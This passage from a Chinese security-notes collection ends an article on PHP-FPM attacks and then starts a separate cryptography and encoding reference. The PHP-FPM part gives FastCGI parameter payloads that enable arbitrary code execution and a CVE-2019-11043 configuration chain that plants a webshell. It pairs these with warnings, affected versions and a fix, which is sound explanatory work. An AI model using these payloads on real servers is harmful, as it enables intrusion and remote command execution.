由前面分析的FastCGI协议知道,type为4的record是键值对的形式,因此我们可以直接在报文中添加这两个PHP-FPM的环境变量来进行设置: ``` { 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SCRIPT_NAME': '/index.php', 'QUERY_STRING': '?a=1&b=2', 'REQUEST_URI': '/index.php?a=1&b=2', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12345', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1' 'PHP_VALUE': 'auto_prepend_file = php://input', # 危险,不要在生产环境测试 'PHP_ADMIN_VALUE': 'allow_url_include = On' # 危险,不要在生产环境测试 } ``` 设置auto_prepend_file = php://input且allow_url_include = On,然后将我们需要执行的代码放在Body中,即可执行任意代码。 另外,SCRIPT_FILENAME选项需要我们设置一个服务端已存在的PHP文件(如`/usr/local/lib/php/PEAR.php`),该选项是让PHP-FPM执行目标服务器上的文件,且由于security.limit_extensions项(PHP 5.3.9增加)的限制导致只能执行PHP文件(否则可以造成读取任意文件)。 执行效果如下图所示: ![fpm poc 执行](../pictures/phpfpm_2.png) ## 0x04 PHP-FPM + Nginx RCE CVE-2019-11043 ### 漏洞概述 由于请求 \n(%0a) 传入导致 Nginx 传递给 php-fpm 的 PATH_INFO 为空,进而导致可通过 FCGI_PUTENV 与 PHP_VALUE 相结合,修改当前 php-fpm 进程中的 php 配置,在特殊构造的配置情况下,可以远程执行任意代码。 ### 漏洞成因 ``` location ~ [^/]\.php(/|$) { fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; ... } ``` 当nginx 配置文件存在如上配置时,请求输入的uri 含有\n 符号时导致截断,经过巧妙的构造,使得FCGI_PUTENV写入特定位置,污染环境变量PHP_VALUE,修改fpm的ini的变量设置,如若发起`GET /index.php/PHP_VALUE%0Aerror_reporting=9;;;;;;?....` 的请求会将 error_reporting 设置为9,详细过程请参考附录链接。 ### 漏洞执行过程 漏洞可污染 PHP-FPM 进程中 PHP 环境变量,POC工具 [phuip-fpizdam](https://github.com/neex/phuip-fpizdam) 逐步修改 PHP 环境变量,利用报错信息写入 WebShell 来实施远程命令执行。 ![工具探测过程](../pictures/phpfpm_3.png) ```c var chain = []string{ "short_open_tag=1", //开启php短标签 "html_errors=0", // 在错误信息中关闭HTML标签。 "include_path=/tmp", //包含路径 "auto_prepend_file=a", //指定脚本执行前自动包含的文件,功能类似require()。 "log_errors=1", //使能错误日志 "error_reporting=2", //指定错误级别 "error_log=/tmp/a", //错误日志记录文件 "extension_dir=\"<?=\`\"", //指定extension的加载目录 "extension=\"$_GET[a]\`?>\"", //指定加载的extension } ``` 当设置如上 PHP配置变量时,由于第三方文件扩展 (extension_dir + extension) <?=`$_GET[a]`?> 不存在,会触发错误并写入到 /tmp/a 文件,则成功在目标机器写入 webshell 文件,并且以 `?a=cmd` 形式发起请求,均会触发命令执行(执行任意php 文件前先prepend /tmp/a 文件)。 ### 影响范围 该漏洞影响以下版本的PHP: 7.1.x < 7.1.33 7.2.x < 7.2.24 7.3.x < 7.3.11 ### 漏洞修复 1. 在不影响业务的情况下,删除Nginx配置文件中的如下配置进行修复: ``` fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; ``` ## 0x05 总结 1. php-fpm一般会启动多个进程,如果变更了PHP_VALUE等环境变量,访问的这个进程的配置项就改变了,但不影响其他进程;如果多访问几次,就可能把所有进程的配置项都改了,而且是永久改的,直到下次重启fpm,这里风险较大,**故切勿对生产环境进行测试!** 2. php-fpm 正常情况下应该监听在本地的9000端口。对于php-fpm监听端口对外开放(一般情况下是用于nginx/apache与fastcgi 分离,即 fastcgi_pass ip 不是 127.0.0.1,而是某个内网ip),均需做访问控制,只允许指定的IP访问。 3. 两个漏洞获取服务器权限的方式相似,都是利用fastcgi中的PHP_VALUE 环境变量修改php-fpm的ini,但是php-fpm未授权访问是发送包含PHP_VALUE的fastcgi请求,而php-fpm+nginx rce 漏洞则是fpm处理恶意fastcgi请求逻辑错误导致PHP_VALUE被覆盖。 4. 安全测试人员在写相关的poc 时需要注意涉及到相关进程环境变量的变更可能是永久的,直到进程重启,故需要特别谨慎,测试完也需要删除相关的poc 落地后门等文件。 ## 0x06 参考 * https://www.mi1k7ea.com/2019/08/25/%E6%B5%85%E8%B0%88PHP-FPM%E5%AE%89%E5%85%A8/ * https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html * https://segmentfault.com/a/1190000021000475 * http://www.secwk.com/2019/10/30/12305/ * https://l0gs.xf0rk.space/2019/10/23/php-cve-2019-11043/ * https://github.com/neex/phuip-fpizdam * https://lab.wallarm.com/php-remote-code-execution-0-day-discovered-in-real-world-ctf-exercise/ * https://bugs.php.net/bug.php?id=78599
sec-knowleage
# Crypto > 文章作者 [RyuZU](https://github.com/RyuZUSUNC) & [r0fus0d](https://github.com/No-Github) > 注 : 笔记中拓扑图 drawio 源文件在其图片目录下 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- ## 大纲 * **常见编码** * [ASCII](#ascii) * [Base](#base) * [Base64](#base64) * [Base16](#base16) * [Base32](#base32) * [Base58](#base58) * [Base62](#base62) * [Base85](#base85) * [Base91](#base91) * [base92](#base92) * [Base100](#base100) * [Escape/Unescape](#escapeunescape) * [HtmlEncode](#htmlencode) * [Punycode](#punycode) * [Quoted-printable](#quoted-printable) * [shellcode](#shellcode) * [Unicode](#unicode) * [URL](#url) * [UTF](#utf) * [UTF-8](#utf-8) * [UTF-7](#utf-7) * [UTF-16](#utf-16) * [UUencode](#uuencode) * [XXencode](#xxencode) * [进制](#进制) * [敲击码](#敲击码) * [曼彻斯特编码](#曼彻斯特编码) * [图片码](#图片码) * [线性条形码](#线性条形码) * [二维码](#二维码) * [PDF147](#pdf147) * [汉信码](#汉信码) * **哈希 & 摘要 & 散列** * [BCrypt](#bcrypt) * [MD5](#md5) * [RIPEMD](#ripemd) * [RIPEMD-160](#ripemd-160) * [SHA](#sha) * **现代加密** * [对称性加密算法](#对称性加密算法) * [AES](#aes) * [DES](#des) * [3DES](#3des) * [RC4](#rc4) * [TEA](#tem) * [Xtea](#xtea) * [Serpent](#serpent) * [BlowFish](#blowfish) * [非对称性加密算法](#非对称性加密算法) * [RSA](#rsa) * [国密](#国密) * [SM1](#sm1) * [SM2](#sm2) * [SM3](#sm3) * [SM4](#sm4) * [SM9](#sm9) * **古典加密** * [换位加密](#换位加密) * [栅栏密码](#栅栏密码) * [曲路密码](#曲路密码) * [列移位密码](#列移位密码) * [替换加密](#替换加密) * [ADFGX](#adfgx) * [Bazeries](#bazeries) * [Digrafid](#digrafid) * [Porta](#porta) * [ROT](#rot) * [埃特巴什码](#埃特巴什码) * [查尔斯加密](#查尔斯加密) * [凯撒密码](#凯撒密码) * [摩斯电码](#摩斯电码) * [简单替换密码](#简单替换密码) * [希尔密码](#希尔密码) * [波利比奥斯方阵密码](#波利比奥斯方阵密码) * [夏多密码](#夏多密码) * [普莱菲尔密码](#普莱菲尔密码) * [自动密钥密码](#自动密钥密码) * [博福特密码](#博福特密码) * [滚动密钥密码](#滚动密钥密码) * [同音替换密码](#同音替换密码) * [仿射密码](#仿射密码) * [培根密码](#培根密码) * [双密码](#双密码) * [三分密码](#三分密码) * [四方密码](#四方密码) * [棋盘密码](#棋盘密码) * [跨棋盘密码](#跨棋盘密码) * [分组摩尔斯替换密码](#分组摩尔斯替换密码) * [格朗普雷密码](#格朗普雷密码) * [比尔密码](#比尔密码) * [键盘密码](#键盘密码) * [手机键盘密码](#手机键盘密码) * [电脑键盘棋盘](#电脑键盘棋盘) * [电脑键盘坐标](#电脑键盘坐标) * [电脑键盘QWE](#电脑键盘qwe) * [01248密码](#01248密码) * [恩尼格玛密码](#恩尼格玛密码) * [维吉尼亚密码](#维吉尼亚密码) * [猪圈密码](#猪圈密码) * [跳舞小人加密](#跳舞小人加密) * **其他编码** * [Brainfuck/Ook](#brainfuck/ook) * [JSfuck](#jsfuck) * [JJEncode](#JJEncode) * [PPEncode](#PPEncode) * [AAEncode/颜文字加密](#AAEncode/颜文字加密) * [与佛论禅](#与佛论禅) * [文本加密为汉字](#文本加密为汉字) * [随机密码生成](#随机密码生成) * [核心价值观加密](#核心价值观加密) * [蝌蚪文](#蝌蚪文) * [whitespace](#whitespace) * [音符加密](#音符加密) * [盲文对照](#盲文对照) * [五笔编码](#五笔编码) * [中文电码](#中文电码) * [LOGO语言](#LOGO语言) * [Dissection Font](#Dissection-Font) --- **教程资源** - http://www.practicalcryptography.com/ - https://cryptopals.com/ - https://ctf-wiki.github.io/ctf-wiki/crypto/introduction/ - https://intensecrypto.org/public/ - https://cryptohack.org/ **相关工具** - [ffffffff0x/BerylEnigma](https://github.com/ffffffff0x/BerylEnigma) - 一个为渗透测试与CTF而制作的工具集,主要实现一些加解密的功能。 - [gchq/CyberChef](https://github.com/gchq/CyberChef) - 一个用于加密、编码、压缩和数据分析的网络应用 - https://gchq.github.io/CyberChef/ - [Snowming04/Cipher_Encryption_Type_Identification:.](https://github.com/Snowming04/Cipher_Encryption_Type_Identification) - 对密文的加密类型进行判断的命令行工具 - [guyoung/CaptfEncoder](https://github.com/guyoung/CaptfEncoder) - 一款跨平台网络安全工具套件 - [lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom) - 密码学的瑞士军刀 - [Acmesec/CTFCrackTools](https://github.com/Acmesec/CTFCrackTools) - CTF工具框架 - [Ciphey/Ciphey](https://github.com/Ciphey/Ciphey) - 使用自然语言处理和人工智能以及一些全自动解密/解码/破解工具 ```bash python3 -m pip install ciphey --upgrade 文件输入 ciphey -f encrypted.txt 不合格输入 ciphey -- "Encrypted input" 正常方式 ciphey -t "Encrypted input" ``` - hash-identifier - kali 自带的 hash 识别工具 - [L-codes/pwcrack-framework](https://github.com/L-codes/pwcrack-framework) - 一个用Ruby编写的密码自动破解框架 - [hellman/xortool](https://github.com/hellman/xortool) ```bash pip3 install xortool xortool -c 20 file ``` - [dhondta/python-codext](https://github.com/dhondta/python-codext) - Python codecs extension featuring CLI tools for encoding/decoding anything ```bash pip3 install codext echo -en "test" | codext encode morse echo -en "test" | codext encode braille echo -en "test" | codext encode base100 ``` **在线工具** - http://tool.bugku.com/ - http://ctf.ssleye.com/ - https://ctftools.com/down/ - https://gchq.github.io/CyberChef/ - https://www.sojson.com/encrypt/ - https://cryptii.com/ - https://www.ssleye.com/ - https://www.jisuan.mobi/index.php?catid=70 **相关文章** - [为什么要在密码里加点"盐" | Libuchao's blog](https://libuchao.com/2013/07/05/password-salt) - [CTF中那些脑洞大开的编码和加密 - jack_Meng](https://www.cnblogs.com/mq0036/p/6544055.html) - [How we recovered over $300K of Bitcoin](https://reperiendi.wordpress.com/2020/04/03/how-i-recovered-over-300k-of-bitcoin/) - [椭圆曲线加密与NSA后门考古](https://mp.weixin.qq.com/s/BMXzOZ3yxhfl2JOe61EnNA) - [All About Crypto - CTF竞赛密码学方向指南](https://mp.weixin.qq.com/s/yfsEpgJJNNVgETm2SydsTg) **CTF writup** - [IDF实验室-特殊的日子](https://blog.csdn.net/ab748998806/article/details/46382017) - 知识点 : CRC - [曼切斯特与差分曼切斯特](https://skysec.top/2017/07/10/%E6%9B%BC%E5%88%87%E6%96%AF%E7%89%B9%E4%B8%8E%E5%B7%AE%E5%88%86%E6%9B%BC%E5%88%87%E6%96%AF%E7%89%B9/) - 知识点 : 曼切斯特编码与差分曼切斯特编码 - [BUUCTF平台Crytpo部分Writeup](https://www.anquanke.com/post/id/217151) --- ## 简介 密码学(Cryptography)一般可分为古典密码学和现代密码学. 其中,古典密码学,作为一种实用性艺术存在,其编码和破译通常依赖于设计者和敌手的创造力与技巧,并没有对密码学原件进行清晰的定义.古典密码学主要包含以下几个方面: - 单表替换加密(Monoalphabetic Cipher) - 多表替换加密(Polyalphabetic Cipher) - 奇奇怪怪的加密方式 而现代密码学则起源于 20 世纪中后期出现的大量相关理论,1949 年香农(C. E. Shannon)发表了题为《保密系统的通信理论》的经典论文标志着现代密码学的开始.现代密码学主要包含以下几个方面: - 对称加密(Symmetric Cryptography),以 DES,AES,RC4 为代表. - 非对称加密(Asymmetric Cryptography),以 RSA,ElGamal,椭圆曲线加密为代表. - 哈希函数(Hash Function),以 MD5,SHA-1,SHA-512 等为代表. - 数字签名(Digital Signature),以 RSA 签名,ElGamal 签名,DSA 签名为代表. 其中,对称加密体制主要分为两种方式: - 分组密码(Block Cipher),又称为块密码. - 序列密码(Stream Cipher),又称为流密码. 一般来说,密码设计者的根本目标是保障信息及信息系统的 - 机密性(Confidentiality) - 完整性(Integrity) - 可用性(Availability) - 认证性(Authentication) - 不可否认性(Non-repudiation) 其中,前三者被称为信息安全的 CIA 三要素 . 而对于密码破解者来说,一般是要想办法识别出密码算法,然后进行暴力破解,或者利用密码体制的漏洞进行破解.当然,也有可能通过构造虚假的哈希值或者数字签名来绕过相应的检测. 攻击类型 | 说明 - | - 唯密文攻击 | 只拥有密文 已知明文攻击 | 拥有密文与对应的明文 选择明文攻击 | 拥有加密权限,能够对明文加密后获得相应密文 选择密文攻击 | 拥有解密权限,能够对密文解密后获得相应明文 --- ## 常见编码 `更多内容可以参考` [字符编码](../../Develop/字符编码/字符编码.md#编码) ### ASCII ASCII 编码大致可以分作三部分组成: - 第一部分是:ASCII 非打印控制字符; - 第二部分是:ASCII 打印字符,也就是 CTF 中常用到的转换; - 第三部分是:扩展 ASCII 打印字符. 编码转换示例 > 源文本: The quick brown fox jumps over the lazy dog ASCII编码对应十进制: > 84 104 101 32 113 117 105 99 107 32 98 114 111 119 110 32 102111 120 32 106 117 109 112 115 32 111 118 101 114 32 116104 101 32 108 97 122 121 32 100 111 103 对应可以转换成二进制,八进制,十六进制等. **在线工具** - http://www.ab126.com/goju/1711.html --- ### Base **相关文章** - [base全家桶的安装使用方法](https://www.cnblogs.com/pcat/p/11625834.html) **相关工具** - [mufeedvh/basecrack](https://github.com/mufeedvh/basecrack) - Decode All Bases - Base Scheme Decoder ```bash apt-get install tesseract-ocr libtesseract-dev git clone https://github.com/mufeedvh/basecrack.git cd basecrack pip3 install -r requirements.txt python3 basecrack.py -h echo "IX(Fp@nNG6ef<,*TFE]IT^zdINAb9EVbp,e<u=O6nN)/u+MTnU;Fo#VvQ&cK;mLZI#Jbdook<O{W#+gY%ooe#6pTkTa.9YPU8Uc=pl9BhSM9%kISw2k:8..u/6F2BwNndPZ2o#7NHNP3g,HlZu><*[Nv+T8" | python3 basecrack.py --magic ``` #### Base64 base64、base32、base16 可以分别编码转化8位字节为6位、5位、4位.16,32,64 分别表示用多少个字符来编码. Base64 常用于在通常处理文本数据的场合,表示、传输、存储一些二进制数据.包括 MIME 的 email,email via MIME,在 XML 中存储复杂数据. Base64 编码要求把3个8位字节转化为4个6位的字节,之后在6位的前面补两个0,形成8位一个字节的形式,6位2进制能表示的最大数是2的6次方是64,这也是为什么是64个字符(A-Z,a-z,0-9,+,/这64个编码字符,=号不属于编码字符,而是填充字符)的原因,这样就需要一张映射表,如下: 例子(base64): ``` 源文本 : T h e 对应 ascii 码 : 84 104 101 8 位 binary : 01010100 01101000 01100101 6 位 binary : 010101 000110 100001 100101 高位补 0 : 000010101 00000110 00100001 00100101 对应 ascii 码 : 21 6 33 37 查表 : V G h l ``` **在线工具** - http://base64.xpcha.com/ - http://tool.chinaz.com/Tools/Base64.aspx - https://base64.supfree.net/ - http://www1.tc711.com/tool/BASE64.htm - http://decodebase64.com/ - http://web.chacuo.net/charsetbase64 - https://www.base64decode.org/ **图片 base64** - [在线图片转Base64编码](https://www.bejson.com/ui/image2base64/) **base64 隐写** - 相关文章 - [base64隐写](https://www.jianshu.com/p/48fe4dd3e5ce) - [记XDCTF的misc之旅---base64隐写](https://www.cnblogs.com/Pinging/p/7622871.html) - [神奇的 Base64 隐写](https://www.tr0y.wang/2017/06/14/Base64steg/) **base64 换表** - 相关文章 - [CTF中自定义字符表的Base64编码求解](https://www.freebuf.com/articles/database/256740.html) --- #### base16 `base16 就是 hex` **在线工具** - https://www.qqxiuzi.cn/bianma/base.php?type=16 --- #### base32 **在线工具** - http://tomeko.net/online_tools/base32.php - https://gchq.github.io/CyberChef/ --- #### base58 **相关项目** - https://github.com/keis/base58 - https://gchq.github.io/CyberChef/ --- #### Base62 **在线工具** - https://www.better-converter.com/Encoders-Decoders/Base62-Encode - https://gchq.github.io/CyberChef/ - http://ctf.ssleye.com/base62.html --- #### Base85 **在线工具** - https://www.dcode.fr/ascii-85-encoding - https://gchq.github.io/CyberChef/ --- #### base91 **在线工具** - https://www.better-converter.com/Encoders-Decoders/Base91-Decode - https://www.better-converter.com/Encoders-Decoders/Base91-Encode --- #### base92 **相关项目** - [thenoviceoof/base92](https://github.com/thenoviceoof/base92) **在线工具** - http://ctf.ssleye.com/base92.html --- #### base100 **相关项目** - [AdamNiederer/base100](https://github.com/AdamNiederer/base100) **在线工具** - http://www.atoolbox.net/Tool.php?Id=936 --- ### Escape/Unescape Escape/Unescape 加密解码 / 编码解码, 又叫 %u 编码, 采用 UTF-16BE 模式, Escape 编码 / 加密, 就是字符对应 UTF-16 16 进制表示方式前面加 %u.Unescape 解码 / 解密, 就是去掉 "%u" 后, 将 16 进制字符还原后, 由 utf-16 转码到自己目标字符. 如: 字符 "中",UTF-16BE 是:"6d93", 因此 Escape 是 "%u6d93". > 源文本: The > > 编码后: %u0054%u0068%u0065 --- ### HtmlEncode `HTML实体编码` HTML 4.01 支持 ISO 8859-1 (Latin-1) 字符集. ISO-8859-1 的较低部分(从 1 到 127 之间的代码)是最初的 7 比特 ASCII. ISO-8859-1 的较高部分(从 160 到 255 之间的代码)全都有实体名称. 这些符号中的大多数都可以在不进行实体引用的情况下使用,但是实体名称或实体编号为那些不容易通过键盘键入的符号提供了表达的方法. 注释:实体名称对大小写敏感. /////[HTML ISO 8859-1 符号实体](https://www.w3school.com.cn/tags/html_ref_entities.html)///// **带有实体名称的 ASCII 实体** 结果| 描述| 实体名称| 实体编号 |-|-|-|- `"` | quotation mark| `&quot;`| `&#34;` `'` | apostrophe| `&apos;`| `&#39;` `&` | ampersand| `&amp;`| `&#38;` `<` | less-than| `&lt;`| `&#60;` `>` | greater-than| `&gt;`| `&#62;` **在线工具** - https://www.qqxiuzi.cn/bianma/zifushiti.php - http://www.convertstring.com/zh_CN/EncodeDecode/HtmlEncode - https://tool.oschina.net/encode --- ### Punycode Punycode 是一种特殊的编码,用于将 Unicode 字符转换为ASCII码,这是一个较小的、受限制的字符集。Punycode 用于编码国际化域名(IDN)。 **相关文章** - [PunyCode](https://www.jianshu.com/p/5eb5351ca705) **在线工具** - https://www.punycoder.com/ - https://myssl.com/punycode.html --- ### Quoted-printable Quoted-printable 可译为"可打印字符引用编码"、"使用可打印字符的编码",我们收邮件,查看信件原始信息,经常会看到这种类型的编码! 很多时候,我们在邮件头里面能够看到这样的编码 `Content-Transfer-Encoding:quoted-printable` 它是多用途互联网邮件扩展 (MIME) 一种实现方式. 其中 MIME 是一个互联网标准, 它扩展了电子邮件标准, 致力于使其能够支持非 ASCII 字符、二进制格式附件等多种格式的邮件消息. **编码方法** 任何一个 8 位的字节值可编码为 3 个字符: 一个等号 "=" 后跟随两个十六进制数字 (0-9 或 A-F) 表示该字节的数值. 例如, ASCII 码换页符 (十进制值为 12) 可以表示为 "=0C", 等号 "="(十进制值为 61)必须表示为 "=3D". 除了可打印 ASCII 字符与换行符以外, 所有字符必须表示为这种格式. 所有可打印 ASCII 字符 (十进制值的范围为 33 到 126) 可用 ASCII 字符编码来直接表示, 但是等号 "="(十进制值为 61)不可以这样直接表示. ASCII 的水平制表符 (tab) 与空格符, 十进制为 9 和 32, 如果不出现在行尾则可以用其 ASCII 字符编码直接表示. 如果这两个字符出现在行尾, 必须 QP 编码表示为 "=09″ (tab)或"=20″ (space). 如果数据中包含有意义的行结束标志, 必须转换为 ASCII 回车 (CR) 换行 (LF) 序列, 既不能用原来的 ASCII 字符也不能用 QP 编码的 "=" 转义字符序列. 相反, 如果字节值 13 与 10 有其它的不是行结束的含义, 它们必须 QP 编码为 =0D 与 =0A. quoted-printable 编码的数据的每行长度不能超过 76 个字符. 为满足此要求又不改变被编码文本, 在 QP 编码结果的每行末尾加上软换行(soft line break). 即在每行末尾加上一个 "=", 但并不会出现在解码得到的文本中. > 例如:If you believe that truth=beauty, then surely mathematics is the most beautiful branch of philosophy. 编码后结果是 > > If you believe that truth=3Dbeauty, then surely=20= mathematics is the most beautiful branch of philosophy. 编码里面,有几个特定限定,一些可打印字符不用编码,当然如果你按照规范编码后,也一样可以显示的!因此自己简单自己实现该编码: ```php function quoted_printable_encode($string) { return preg_replace('/[^\r\n]{73}[^=\r\n]{2}/', "$0=\r\n", str_replace("%","=", rawurlencode($string))); } ``` 一个函数就可以, 将所有字符串 urlencode 转换后,% 号替换为 "=" 号, 然后对非 \ r\n 超过 73 连续字符, 后面加一个 =\r\n. 这个是简单实现方法. 按照该编码详细说明里面, 有些空格、换行, 还有一些特殊字符可以不用转换. 不过一起转换了, 也不会有影响 **在线工具** - http://web.chacuo.net/charsetquotedprintable - http://www.mxcz.net/tools/QuotedPrintable.aspx - https://www.wishingstarmoye.com/ctf/quoted-printable --- ### shellcode 源文本: `The quick brown fox jumps over the lazy dog` 编码后: ``` \x54\x68\x65\x7f\x71\x75\x69\x63\x6b\x7f\x62\x72\x6f\x77\x6e\x7f\x66\x6f\x78\x7f\x6a\x75\x6d\x70\x73\x7f\x6f\x76\x65\x72\x7f\x74\x68\x65\x7f\x6c\x61\x7a\x79\x7f\x64\x6f\x67 ``` --- ### Unicode Unicode 编码有以下四种编码方式: > 源文本: The > >> &#x [Hex]: &#x0054;&#x0068;&#x0065; > >> &# [Decimal]: &#00084;&#00104;&#00101; > >> \U [Hex]: \U0054\U0068\U0065 > >> \U+ [Hex]: \U+0054\U+0068\U+0065 **在线工具** - http://tool.chinaz.com/tools/unicode.aspx - http://www.mxcz.net/tools/Unicode.aspx --- ### URL url 编码又叫百分号编码, 是统一资源定位 (URL) 编码方式. URL 地址 (常说网址) 规定了常用地数字, 字母可以直接使用, 另外一批作为特殊用户字符也可以直接用(/,:@等), 剩下的其它所有字符必须通过 %xx 编码处理. 现在已经成为一种规范了, 基本所有程序语言都有这种编码, 如 js: 有 encodeURI、encodeURIComponent,PHP 有 urlencode、urldecode 等. 编码方法很简单, 在该字节 ascii 码的的 16 进制字符前面加 %. 如 空格字符, ascii 码是 32, 对应 16 进制是'20', 那么 urlencode 编码结果是:%20. > 源文本: > The quick brown fox jumps over the lazy dog > 编码后: > %54%68%65%20%71%75%69%63%6b%20%62%72%6f%77%6e%20%66%6f%78%20%6a%75%6d%70%73%20%6f%76%65%72%20%74%68%65%20%6c%61%7a%79%20%64%6f%67 **在线工具** - http://web.chacuo.net/charseturlencode - https://meyerweb.com/eric/tools/dencoder/ - http://tool.oschina.net/encode?type=4 - http://www.mxcz.net/tools/Url.aspx --- ### UTF #### UTF-8 **在线工具** - http://tool.chinaz.com/Tools/UTF-8.aspx - http://tool.oschina.net/encode?type=2 #### UTF-7 **在线工具** - http://toolswebtop.com/text/process/decode/utf-7 #### UTF-16 **在线工具** - https://www.qqxiuzi.cn/bianma/utf-16.htm --- ### UUencode UUencode 是一种二进制到文字的编码, 最早在 unix 邮件系统中使用, 全称: Unix-to-Unix encoding,UUencode 将输入文本以每三个字节为单位进行编码, 如果最后剩下的资料少于三个字节, 不够的部份用零补齐. 三个字节共有 24 个 Bit, 以 6-bit 为单位分为 4 个组, 每个组以十进制来表示所出现的字节的数值. 这个数值只会落在 0 到 63 之间. 然后将每个数加上 32, 所产生的结果刚好落在 ASCII 字符集中可打印字符 (32 - 空白… 95 - 底线) 的范围之中. > 源文本: The quick brown fox jumps over the lazy dog > 编码后: `M5&AE('%U:6-K(&)R;W=N(&9O>"!J=6UP<R!O=F5R('1H92!L87IY(&1O9PH*` **在线工具** - http://web.chacuo.net/charsetuuencode - http://www.mxcz.net/tools/UUEncode.aspx --- ### XXencode XXencode 将输入文本以每三个字节为单位进行编码. 如果最后剩下的资料少于三个字节, 不够的部份用零补齐. 这三个字节共有 24 个 Bit, 以 6bit 为单位分为 4 个组, 每个组以十进制来表示所出现的数值只会落在 0 到 63 之间. 以所对应值的位置字符代替. 它所选择的可打印字符是`+-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz`, 一共 64 个字符. 跟 base64 打印字符相比, 就是 UUencode 多一个 "-" 字符, 少一个 "/" 字符. > 源文本: > The quick brown fox jumps over the lazy dog\ > 编码后: > hJ4VZ653pOKBf647mPrRi64NjS0-eRKpkQm-jRaJm65FcNG-gMLdt64FjNkc+ **在线工具** - http://web.chacuo.net/charsetxxencode --- ### 进制 进制是一种逢几进一的运算。 N 进制就是逢 N 进 1,最小值为 0,最大值为 N-1 例如,十六进制和二进制和十进制的关系 | 十六进制 | 二进制 | 十进制 | 八进制 | -------- | ------ | ----- | ----- | | 0 | 0000 | 0 | 0 | 1 | 0001 | 1 | 1 | 2 | 0010 | 2 | 2 | 3 | 0011 | 3 | 3 | 4 | 0100 | 4 | 4 | 5 | 0101 | 5 | 5 | 6 | 0110 | 6 | 6 | 7 | 0111 | 7 | 7 | 8 | 1000 | 8 | 10 | 9 | 1001 | 9 | 11 | A | 1010 | 10 | 12 | B | 1011 | 11 | 13 | C | 1100 | 12 | 14 | D | 1101 | 13 | 15 | E | 1110 | 14 | 16 | F | 1111 | 15 | 17 **缩写** - 二进制 - B、BIN - 八进制 - O、OCT - 十进制 - D、DEC - 十六进制 - H、HEX、0x **转换** - 十进制转二进制 十进制数除 2 取余法,即十进制数除 2,余数为权位上的数,得到的商值继续除。 - 二进制转十进制 把二进制数按权展开、相加即得十进制数,其实就是讲每位的二进制数 1 或者 0 乘以 2 的 n 次方 - 二进制转十六进制 4 位二进制数按权展开相加得到 1 位十六进制数。(4 位二进制数转成十六进制是从右到左开始转化,不足时补 0) **移位** 以 39 位例,将十进制的 39 转为二进制的 0010 0111,然后向左移位 << 一个字节,变成 0100 1110 ,再转为十进制为 78,此时如果再让 0010 0111 左移两位,变为 1001 1100 ,得出来就是 156,相当于扩大 4 倍。 **补数** 如果将数右移,那么空出来的高数值如何处理? 计算机中没有负数,那么做减法就是在做加法,用加法实现减法的运算,例如 100-50 计算机看来是 100+(-50),为此,表示负数就要用到二进制补数 (补码),补数用正数表示负数。 补码就是将原数反码再加 1. 补数的获取,逻辑上非常严谨,以 1-1 为例,举个错误例子 1-1 的结果为 130,而不是 0,可以得出结论 1000 0001 表示 -1 是错误的。 以正确结果看,1-1其实就是 1+(-1) ,对 -1 进行上面的取反+1后变为 1111 1111,然后与1进行加法运算,得到九位的 1 0000 0000,结果发送了溢出,计算机会直接忽略掉溢出位,变为 0000 0000,所以 1111 1111 表示 -1 所以负数的二进制表示就是先求其补数,补数的求解过程就是对原始数值的二进制取反 + 1. 结果不为 0 的运算同样可以通过补数得到正确的结果,当结果为负时,计算结果的值也是以补数的形式存在的。例如 3-5,如下 编程语言的数据类型中,有的可以处理负数,有的不可以,比如 C 语言中不能处理负数的 unsigned short 类型,也有能处理负数的 short 类型,都是 2 个字节的变量,它们都有 2 的十六次幂种值,但取值范围不同,short 类型的取值范围为 -32768~32767,unsigned short 的取值范围是 0~65535. 思考一下补数的机制就知道为什么 - 32768 比 32767 多一个数的原因,最高位是 0 的正数有 0~32767 共 32768 个,包括 0,最高位是 1 的负数有 - 1~-32768 共 32768 个,不含 0,0 不是正数也不是负数,但考虑到符号位,归类为正数。 **在线工具** - https://js.tuisec.win/convert/ox2str/ - http://www.convertstring.com/zh_CN/EncodeDecode/HexDecode - http://tool.oschina.net/hexconvert/ - http://www.mxcz.net/tools/Hex.aspx - https://www.bejson.com/convert/ox2str/ - https://www.sojson.com/hexadecimal.html --- ### 敲击码 敲击码 (Tap code) 是一种以非常简单的方式对文本信息进行编码的方法. 因该编码对信息通过使用一系列的点击声音来编码而命名, 敲击码是基于 5×5 方格波利比奥斯方阵来实现的, 不同点是是用 K 字母被整合到 C 中. 敲击码表: **在线工具** - https://www.wishingstarmoye.com/ctf/tapcode --- ### 曼彻斯特编码 在电信与数据存储中, 曼彻斯特编码 (Manchester coding), 又称自同步码、相位编码 (phase encoding,PE), 能够用信号的变化来保持发送设备和接收设备之间的同步. 它用电压的变化来分辨 0 和 1, 从高电平到低电平的跳变代表 1, 而从低电平到高电平的跳变代表 0(as per G.E.Tomas 编码方式). 从高电平到低电平的跳变代表 0, 而从低电平到高电平的跳变代表 1(as per IEEE 802.3 编码方式) 信号的保持不会超过一个比特位的时间间隔. 即使是 0 或 1 的序列, 信号也将在每个时间间隔的中间发生跳变. 这种跳变将允许接收设备的时钟与发送设备的时钟保持一致. 曼彻斯特编码被物理层用来编码一个同步位流的时钟和数据. 因此, 曼彻斯特编码被用在以太网媒介系统中. 曼彻斯特编码提供一个简单的方式给编码简单的二进制序列而没有长的周期及转换级别, 因而防止时钟同步的丢失, 或来自低频率位移在贫乏补偿的模拟链接位错误. 在这个技术下, 实际上的二进制数据被传输通过这个电缆, 不是作为一个序列的逻辑 1 或 0 来发送的 (NRZ). 与 NRZ 相反, 这些位被转换为一个稍微不同的格式, 它通过使用直接的二进制编码. 曼彻斯特编码还被用于局域网传输. - 优点 与 NRZ 